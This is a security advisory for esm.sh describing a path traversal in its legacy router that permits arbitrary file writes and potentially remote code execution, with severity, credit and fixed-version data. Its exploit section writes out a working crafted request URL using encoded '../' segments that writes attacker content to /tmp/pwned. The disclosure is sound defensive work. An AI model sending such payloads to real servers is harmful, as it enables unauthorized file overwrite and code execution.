GHSA-3636-h3vx-6465

Source

https://github.com/advisories/GHSA-3636-h3vx-6465

Import Source

https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-3636-h3vx-6465/GHSA-3636-h3vx-6465.json

JSON Data

https://api.osv.dev/v1/vulns/GHSA-3636-h3vx-6465

Aliases

Published

2026-05-12T22:22:39Z

Modified

2026-06-25T18:56:35Z

Severity

8.7 (High) CVSS_V4 - CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N CVSS Calculator

Summary

esm.sh: Legacy Route Path Traversal Can Lead to RCE

Details

Impact

Arbitrary File Write – An attacker can cause the server to write data to any file path it has write permission for.
Privilege Escalation / RCE – By overwriting critical binaries or scripts, the attacker can execute arbitrary code with the server’s privileges.

Exploit

The legacy router first retrieves a response from legacyServer, parses the incoming request path, and ultimately writes the data to storage via buildStorage.Put
(see https://github.com/esm-dev/esm.sh/blob/4312ae93e518121e764a18bb521af12e490ef137/server/legacy_router.go#L291).

For a URL such as:

http://ESM_SH_HOST/v111/react@19.2.0/esnext/..%2f..%2f..%2fgh/<attacker>/exp@1171e85d5d/foo.md%23%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2ftmp%2fpwned

the router concatenates the path components without sanitizing them, producing a storage key like:

legacy/v111/react@19.2.0/esnext/../../../gh/<attacker>/exp@1171e85d5d/foo.md#/../../../../../../../../../../tmp/pwned

When this key is used, the underlying file system resolves the relative segments and writes the file to /tmp/pwned. Thus an attacker can craft a request that writes data to arbitrary locations on the server.

Details

URL Construction
A crafted request is sent to the server:

http://ESM_SH_HOST/v111/react@19.2.0/esnext/..%2f..%2f..%2fgh/<attacker>/exp@1171e85d5d/foo.md%23%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2ftmp%2fpwned

Proxy to Legacy Server
The request is forwarded to:

http://legacy.esm.sh/v111/react@19.2.0/esnext/../../../gh/<attacker>/exp@1171e85d5d/foo.md#/../../../../../../../tmp/pwned

which resolves to:

http://legacy.esm.sh/gh/<attacker>/exp@1171e85d5d/foo.md

File Retrieval
The server fetches foo.md from the GitHub repository https://github.com/<attacker>/exp.
Path Normalisation & Storage
The storage path derived from the request is:
```
legacy/v111/react@19.2.0/esnext/../../../gh/<attacker>/exp@1171e85d5d/foo.md#/../../../../../../../../../../tmp/pwned
```
Normalising this path yields /tmp/pwned. The retrieved file content is then written to that location.
Result
By repeating this pattern, an attacker can overwrite arbitrary binaries or scripts on the server, paving the way for remote code execution.

Credit Discovery To

splitline (@_splitline_) from DEVCORE Research Team

Database specific

{
    "cwe_ids": [
        "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-12T22:22:39Z",
    "nvd_published_at": "2026-05-28T16:16:24Z",
    "severity": "HIGH"
}

References

Affected packages

Go / github.com/esm-dev/esm.sh

Package

Name: github.com/esm-dev/esm.sh; View open source insights on deps.dev
Purl: pkg:golang/github.com/esm-dev/esm.sh

Affected ranges

Type: SEMVER
Events: Introduced

0 Unknown introduced version / All previous versions are affected

Fixed

0.0.0-20260508100112-1960055e1d53

Database specific

source

"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-3636-h3vx-6465/GHSA-3636-h3vx-6465.json"